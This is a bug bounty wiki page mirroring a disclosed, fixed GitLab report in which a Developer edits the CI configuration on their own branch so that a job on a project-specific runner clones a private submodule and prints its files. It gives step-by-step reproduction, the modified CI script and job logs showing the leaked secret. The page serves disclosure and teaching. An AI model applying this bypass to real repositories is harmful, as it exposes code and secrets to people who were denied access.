Skip to content
Access control Disclosed report Intermediate

Backend: Developer can access private submoduled repositories

A developer without access to a private submodule repository could read its contents by editing the CI configuration on their own branch and running a job on a specific runner. The job cloned the private submodule using the project's CI token, exposing files the developer should not see.

GitLab

Originally disclosed on GitLab

  • Fixed in 6 months
  • Disclosed after 6 months

HackerOne report #1504919 by rssah on 2022-03-09, assigned to @nmalcolm

The comment section is long on this one as we worked with the reporter to reproduce the issue. Here is my take on the issue, which I was able to validate

Summary

A developer can access the contents of a private submoduled repository when a Specific Runner is used (as opposed to Shared Runners). This has been validated on .com.

Steps to Reproduce

We will have User A, the victim Maintainer, and User B, the malicious Developer.

Set up the Group & Projects

All of the following actions are as User A. In example snippets, User A is named nmalcolm.

  1. Create a group called submodule-test-group
  2. Within that group, create a private project named submodule-parent
  3. Invite User B as a Developer role to the project
  4. Within the group create a private project named submodule-child. Create a file in the main branch called secret.txt with dummy text.
  5. Check out submodule-parent locally.
  6. Run git submodule add [email protected]:nmalcolm/submodule-child.git.
  7. Modify .gitmodules as follows:
[submodule "submodule-child"]
	path = submodule-child
	url = ../../submodule-test-group/submodule-child.git
  1. Add a file .gitlab-ci.yml with the following contents:
variables:
  GIT_SUBMODULE_STRATEGY: recursive
stages:
    - build

build:
    stage: build
    script:
        - echo "This is a benign CI job"
  1. Commit and push that to submodule-parent's main branch.
  2. In the GitLab UI go to https://gitlab.com/nmalcolm/submodule-parent/-/jobs/ and observe the latest job. The job should be successful.

Set up a Specific Runner

  1. As User A, go to the submodule-parent project, and get a Runner Registration token from Settings > CI/CD > Runners.
  2. In a Cloud Provider (e.g. Sandbox Cloud) create a Runner.
    1. I used AWS, with an Ubuntu image.
    2. I followed these instructions to install Docker: https://docs.docker.com/engine/install/ubuntu/
    3. I followed these instructions to install GitLab Runner: https://docs.gitlab.com/runner/install/docker.html#option-1-use-local-system-volume-mounts-to-start-the-runner-container
    4. I followed these instructions to register the GitLab Runner, using the registration token from the earlier step: https://docs.gitlab.com/runner/register/#one-line-registration-command
root@ip-172-31-28-151:/home/ubuntu# docker run --rm -v /srv/gitlab-runner/config:/etc/gitlab-runner gitlab/gitlab-runner register \
>   --non-interactive \
>   --executor "docker" \
>   --docker-image alpine:latest \
>   --url "https://gitlab.com/" \
>   --registration-token "GR13REDACTED" \
>   --description "docker-runner" \
>   --tag-list "test" \
>   --run-untagged="true" \
>   --locked="false" \
>   --access-level="not_protected"
Runtime platform                                    arch=amd64 os=linux pid=7 revision=bd40e3da version=14.9.1
Running in system-mode.

Registering runner... succeeded                     runner=GR13REDACTED
Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded!
  1. As User A, in the GitLab UI go to Settings > CI/CD. Observe the registered Specific Runner.
  2. Disable Shared Runners, so that all jobs will be run by the Specific Runner.
  3. Go and re-run the job we ran earlier. It will now use the Specific runner, and the message should still look like:
Running with gitlab-runner 14.9.1 (bd40e3da)
  on docker-runner i74p_kZM
Preparing the "docker" executor
00:05
Using Docker executor with image alpine:latest ...
Pulling docker image alpine:latest ...
Using docker image sha256:0ac33e5f5afa79e084075e8698a22d574816eea8d7b7d480586835657c3e1c8b for alpine:latest with digest alpine@sha256:4edbd2beb5f78b1014028f4fbb99f3237d9561100b6881aabbf5acce2c4f9454 ...
Preparing environment
00:01
Running on runner-i74pkzm-project-34588976-concurrent-0 via e3948fe46887...
Getting source from Git repository
00:02
Fetching changes with git depth set to 20...
Initialized empty Git repository in /builds/submodule-test-group/submodule-parent/.git/
Created fresh repository.
Checking out 857541f8 as main...
Updating/initializing submodules recursively with git depth set to 20...
Submodule 'submodule-child' (https://gitlab-ci-token:[MASKED]@gitlab.com/submodule-test-group/submodule-child.git) registered for path 'submodule-child'
Cloning into '/builds/submodule-test-group/submodule-parent/submodule-child'...
Submodule path 'submodule-child': checked out 'b3bdad20185059f520c277a4b8504cd4b64dd4a5'
Entering 'submodule-child'
Entering 'submodule-child'
Executing "step_script" stage of the job script
00:01
Using docker image sha256:0ac33e5f5afa79e084075e8698a22d574816eea8d7b7d480586835657c3e1c8b for alpine:latest with digest alpine@sha256:4edbd2beb5f78b1014028f4fbb99f3237d9561100b6881aabbf5acce2c4f9454 ...
$ echo "This is a benign CI job"
This is a benign CI job
Cleaning up project directory and file based variables
00:01
Job succeeded

We can see that submodule-child was successfully cloned, and a benign message was echoed out. Screenshot attached.

We also note that submodule-child does not exist in the repository outside of that job; clicking "Download" from the project page downloads submodule-child as an empty directory, and clicking it in the UI redirects to its GitLab project.

Attack

The following steps are as User B, who was added in Step 2 above as a Developer to submodule-parent. In the following examples they are nmtest.

  1. Go to submodule-parent
  2. Note that clicking on submodule-child gives an error, and Downloading the repository downloads an empty folder named submodule-child. User B has no access to the contents of submodule-child.
  3. Create a new branch named nmtest-branch, based off main
  4. Modify .gitlab-ci.yml to contain:
variables:
  GIT_SUBMODULE_STRATEGY: recursive
stages:
    - build

build:
    stage: build
    script:
        - ls submodule-child
        - cat submodule-child/secret.txt
  1. Commit the change to the branch nmtest-branch
  2. In the GitLab UI go to https://gitlab.com/nmalcolm/submodule-parent/-/jobs/ and observe the latest job.

Observe the contents of the private repository, submodule-child, being disclosed to a user who should not have access:

Running with gitlab-runner 14.9.1 (bd40e3da)
  on docker-runner i74p_kZM
Preparing the "docker" executor
00:01
Using Docker executor with image alpine:latest ...
Pulling docker image alpine:latest ...
Using docker image sha256:0ac33e5f5afa79e084075e8698a22d574816eea8d7b7d480586835657c3e1c8b for alpine:latest with digest alpine@sha256:4edbd2beb5f78b1014028f4fbb99f3237d9561100b6881aabbf5acce2c4f9454 ...
Preparing environment
00:01
Running on runner-i74pkzm-project-34588976-concurrent-0 via e3948fe46887...
Getting source from Git repository
00:01
Fetching changes with git depth set to 20...
Reinitialized existing Git repository in /builds/submodule-test-group/submodule-parent/.git/
Checking out d113baef as nmtest...
Updating/initializing submodules recursively with git depth set to 20...
Synchronizing submodule url for 'submodule-child'
Entering 'submodule-child'
Entering 'submodule-child'
HEAD is now at b3bdad2 Add new file
Entering 'submodule-child'
Entering 'submodule-child'
Executing "step_script" stage of the job script
00:01
Using docker image sha256:0ac33e5f5afa79e084075e8698a22d574816eea8d7b7d480586835657c3e1c8b for alpine:latest with digest alpine@sha256:4edbd2beb5f78b1014028f4fbb99f3237d9561100b6881aabbf5acce2c4f9454 ...
$ ls submodule-child
README.md
secret.txt
$ cat submodule-child/secret.txt
This is a secret!
Cleaning up project directory and file based variables
00:00
Job succeeded

Further possible steps

  1. As User A (the victim), disable the Specific Runner and Re-enable the Shared Runners
  2. As User B (the attacker) re-run the malicious job. Observe that the job fails:
Running with gitlab-runner 14.9.0~beta.68.g1283960c (1283960c)
  on green-2.shared.runners-manager.gitlab.com/default ns46NMmJ
Preparing the "docker+machine" executor
00:08
Using Docker executor with image ruby:2.5 ...
Pulling docker image ruby:2.5 ...
Using docker image sha256:27d049ce98db4e55ddfaec6cd98c7c9cfd195bc7e994493776959db33522383b for ruby:2.5 with digest ruby@sha256:ecc3e4f5da13d881a415c9692bb52d2b85b090f38f4ad99ae94f932b3598444b ...
Preparing environment
00:01
Running on runner-ns46nmmj-project-34588976-concurrent-0 via runner-ns46nmmj-shared-1649890794-20321143...
Getting source from Git repository
00:02
$ eval "$CI_PRE_CLONE_SCRIPT"
Fetching changes with git depth set to 20...
Initialized empty Git repository in /builds/submodule-test-group/submodule-parent/.git/
Created fresh repository.
Checking out d113baef as nmtest...
Updating/initializing submodules recursively with git depth set to 20...
Submodule 'submodule-child' (https://gitlab-ci-token:[MASKED]@gitlab.com/submodule-test-group/submodule-child.git) registered for path 'submodule-child'
Cloning into '/builds/submodule-test-group/submodule-parent/submodule-child'...
remote: The project you were looking for could not be found or you don't have permission to view it.
fatal: repository 'https://gitlab.com/submodule-test-group/submodule-child.git/' not found
fatal: clone of 'https://gitlab-ci-token:[MASKED]@gitlab.com/submodule-test-group/submodule-child.git' into submodule path '/builds/submodule-test-group/submodule-parent/submodule-child' failed
Failed to clone 'submodule-child'. Retry scheduled
Cloning into '/builds/submodule-test-group/submodule-parent/submodule-child'...
remote: The project you were looking for could not be found or you don't have permission to view it.
fatal: repository 'https://gitlab.com/submodule-test-group/submodule-child.git/' not found
fatal: clone of 'https://gitlab-ci-token:[MASKED]@gitlab.com/submodule-test-group/submodule-child.git' into submodule path '/builds/submodule-test-group/submodule-parent/submodule-child' failed
Failed to clone 'submodule-child' a second time, aborting
Cleaning up project directory and file based variables
00:01
ERROR: Job failed: exit code 1

Screenshots

Attacker Jobs

Fails on a shared runner

Succeeds on a specific runner

Project Set Up

N.B. if you give me a username I can add you to the group so you can observe directly.

Victim Maintainer has access to both

Attacker Developer has access to one

Victim Maintainer is the only one in the group

<details> <summary> Original report here </summary>

Report | How To Reproduce

Report

Summary

We have created two private projects P1 and P2. User U1 and U2 are administrator and developer (in terms of roles) respectively. U1 and U2 are both members of P1 but in P2, only user U1 is present with the administrator role. Now P1 is having a submodule link to P2. Obviously, all the local branches for U1 will have access to P2 files but U2's local branches will not have the files in the P2 submodule. The trick is to enable CI/CD in P1. In Git CI/CD yml file, we need to add a recursive command variable for P2 branch checkout to access files in it. Obviously, the P1's main branch is off-limits to U2, so he cannot edit/execute the pipelines. But we have created a branch for those U2 users in P1. Now the same Git CI/CD yml file the U2 user can push to his branch and can run the pipeline. This is leading to the displaying of all the project P2 contents for U2 who in the first place doesn't have access to.

Steps to reproduce

(Step-by-step guide to reproduce the issue, including:)

  1. Create two projects and two users P1 and P2, U1 and U2.
  2. Add U1 and U2 in P1 with U1 being administrator/maintainer and U2 being a developer.
  3. Create one branch in P1 apart from the main branch and the U2 can use that branch. And make the main branch protected and do not allow "Developer" to push/merge.
  4. Now add U1 as an administrator in the P2 project which only has one branch (main branch).
  5. Create a submodule with the latest changeset of P2 inside the P1 root folder.
  6. Here the user with his own P1 branch can not view any files of the created submodule
  7. Create a pipeline with default git CI-CD yml file containing a set of instructions to list out all the files in the root folder of the P2 project's main branch.
  8. The user U2 cannot have permission to start the pipeline if it's manually triggered. Also, he cannot edit the yml file in the main branch.
  9. But the user U2 will have access to view the .gitmodules file which is in the P1 project root folder. There he can see the path of the root folder of project P2.
  10. Now he can add his own statements in his own branch's git CI CD pipeline editor and can run the same pipeline.
  11. While the pipeline runs, the folder contents are being listed to user U2 which is actually direct improper access control.

GitLab version - GitLab Enterprise Edition 14.9.0-pre

Impact

The users who do not have access to P2 project files can view the folder structure, file content, etc via CI/CD pipelines.

How To Reproduce

Please add reproducibility information to this section:

</details>

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CI job's submodule clone used a project-scoped CI token that had access to the private submodule, and the job ran on a specific runner that did not enforce the triggering user's permissions.

Impact

A developer could read the contents of a private submodule repository they were not a member of, but only when the project used a specific runner; shared runners blocked the clone.

What the attacker needed

Attacker is a Developer on the parent project; parent project uses a specific runner; shared runners are disabled; victim has a private submodule repository

How it was found

  1. Create a group with a private parent project and a private child project; add the attacker as a Developer to the parent only.
  2. Add the child project as a submodule in the parent and configure CI to fetch submodules recursively.
  3. Register a specific runner for the parent project and disable shared runners.
  4. As the attacker, create a new branch and modify the CI configuration to list and print files from the submodule directory.
  5. Commit and run the job; observe the private submodule's file contents in the job log.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A submodule is a way to include one Git repository inside another. Normally, a developer on the parent project cannot see the private submodule's files. But when the project used its own runner (a machine that runs CI jobs), the job fetched the submodule with a token that had access, and the developer could change the job script to print the secret files.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.